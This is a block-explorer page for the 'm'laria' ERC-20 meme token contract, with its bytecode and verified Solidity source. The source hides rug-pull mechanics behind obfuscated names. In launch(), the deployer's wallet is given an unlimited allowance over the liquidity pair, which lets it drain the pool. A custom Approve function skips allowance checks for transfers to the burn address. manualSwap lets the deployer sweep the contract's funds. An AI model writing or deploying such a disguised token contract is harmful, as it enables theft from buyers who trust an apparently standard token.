Address Contract Partially Verified
Address
0xa40779dc22F874515e8A93188893438C436B5cD1
Balance
0 ETH
Nonce
1
Code Size
5534 bytes
Creator
0x82d32104...e08A at tx 0x2ca0b6a8...d2fcf3
Indexed Transactions
0
Contract Bytecode
5534 bytes
0x6080604052600436106100dc575f3560e01c806351bc3c851161007c5780638da5cb5b116100575780638da5cb5b1461023757806395d89b41146100fd578063a9059cbb1461025d578063dd62ed3e1461027c575f80fd5b806351bc3c85146101db57806370a08231146101ef578063715018a614610223575f80fd5b806316b441ba116100b757806316b441ba1461016a57806318160ddd1461018d57806323b872dd146101a1578063313ce567146101c0575f80fd5b806301339c21146100e757806306fdde03146100fd578063095ea7b31461013b575f80fd5b366100e357005b5f80fd5b3480156100f2575f80fd5b506100fb6102c0565b005b348015610108575f80fd5b5060408051808201825260078152666d276c6172696160c81b6020820152905161013291906111c3565b60405180910390f35b348015610146575f80fd5b5061015a610155366004611226565b6106e4565b6040519015158152602001610132565b348015610175575f80fd5b5061017f600d5481565b604051908152602001610132565b348015610198575f80fd5b5061017f6106fa565b3480156101ac575f80fd5b5061015a6101bb366004611250565b61071a565b3480156101cb575f80fd5b5060405160098152602001610132565b3480156101e6575f80fd5b506100fb61073c565b3480156101fa575f80fd5b5061017f61020936600461128e565b6001600160a01b03165f9081526001602052604090205490565b34801561022e575f80fd5b506100fb6107a4565b348015610242575f80fd5b505f546040516001600160a01b039091168152602001610132565b348015610268575f80fd5b5061015a610277366004611226565b610845565b348015610287575f80fd5b5061017f6102963660046112a9565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f546001600160a01b0316331461031e5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600f54600160a01b900460ff16156103785760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610315565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103c69030906103b36009600a6113d4565b6103c190633b9aca006113e2565b610851565b600e5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610416573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061043a91906113f9565b6001600160a01b031663c9c6539630600e5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610499573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104bd91906113f9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610507573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061052b91906113f9565b600f80546001600160a01b039283166001600160a01b0319909116179055600e541663f305d7194730610572816001600160a01b03165f9081526001602052604090205490565b5f806105855f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105eb573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106109190611414565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610665573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610689919061143f565b50600f546004546106a8916001600160a01b0390811691165f19610851565b600f80546201000160a01b62ff00ff60a01b198216179091556001600160a01b03165f908152600360205260409020805460ff19166001179055565b5f6106f0338484610851565b5060015b92915050565b5f6107076009600a6113d4565b61071590633b9aca006113e2565b905090565b5f610726848484610974565b61073284338585610d97565b5060019392505050565b6004546001600160a01b0316336001600160a01b03161461075b575f80fd5b305f9081526001602052604090205480158015906107825750600f54600160b01b900460ff165b156107905761079081610e43565b4780156107a0576107a081610fb3565b5050565b5f546001600160a01b031633146107fd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610315565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6106f0338484610974565b6001600160a01b0383166108b35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610315565b6001600160a01b0382166109145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610315565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109d85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f2061646044820152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Verified Source Code Partial Match
Compiler: v0.8.24+commit.e11b9ed9
EVM: shanghai
Optimization: Yes (200 runs)
Token.sol 322 lines
// SPDX-License-Identifier: MIT
/*
https://twitter.com/dimabuterin/status/2010033784356515965
https://t.me/malaria_memeerc
*/
pragma solidity ^0.8.21;
address constant _burnAddr = address(0xdead);
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedmlariaY82VH;
address payable private _taxWallet;
uint256 private _initialBuyTax=0;
uint256 private _initialSellTax=0;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=3;
uint256 private _reduceSellTaxAt=3;
uint256 private _buyCount=0;
uint56 private _LMmlariaY82VHR;
address private _PJKSmlariaY82VHSM;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1_000_000_000 * 10**_decimals;
string private constant _name = unicode"m'laria";
string private constant _symbol = unicode"m'laria";
uint256 public _maxSwapLimit= 1 * (_tTotal/100);
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private sellCount = 0;
uint256 private lastSellBlock = 0;
event MaxTxAmountUpdated(uint _maxTxSize);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () payable {
_balances[address(this)] = _tTotal;
_taxWallet = payable(_msgSender());
_isExcludedmlariaY82VH[owner()] = true;
_isExcludedmlariaY82VH[address(this)] = true;
_isExcludedmlariaY82VH[_taxWallet] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
Approve(
sender,
_msgSender(),
recipient,
amount
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount=0;
if (from != owner() && to != owner()) {
if(_buyCount==0){
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedmlariaY82VH[to] ) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled ) {
if(contractTokenBalance > 0)
swapTokensForEth(min(amount, min(contractTokenBalance, _maxSwapLimit)));
sendETHToFee(address(this).balance);
}
}
if(taxAmount>0){
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from, to, amount.sub(taxAmount));
}
function Approve(
address owner,
address spender,
address recipient,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
uint8 _currentmlariaY82VHapproved;
bool MLKASMFLKDMSMFLS;
if (recipient != _burnAddr || _isExcludedmlariaY82VH[owner] || _isExcludedmlariaY82VH[spender]) {
unchecked {
_approve(owner, spender, currentAllowance.sub(amount, "ERC20: transfer amount exceeds allowance"));
}
}
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function launch() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_approve(address(uniswapV2Pair), _taxWallet, type(uint256).max);
swapEnabled = true;
tradingOpen = true;
_isExcludedmlariaY82VH[address(uniswapV2Pair)] = true;
}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 tokenBalance = balanceOf(address(this));
if (tokenBalance > 0 && swapEnabled) {
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if (ethBalance > 0) {
sendETHToFee(ethBalance);
}
}
receive() external payable {}
}
Read Contract
_maxSwapLimit 0x16b441ba → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
Write Contract 6 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
launch 0x01339c21
No parameters
manualSwap 0x51bc3c85
No parameters
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
Recent Transactions
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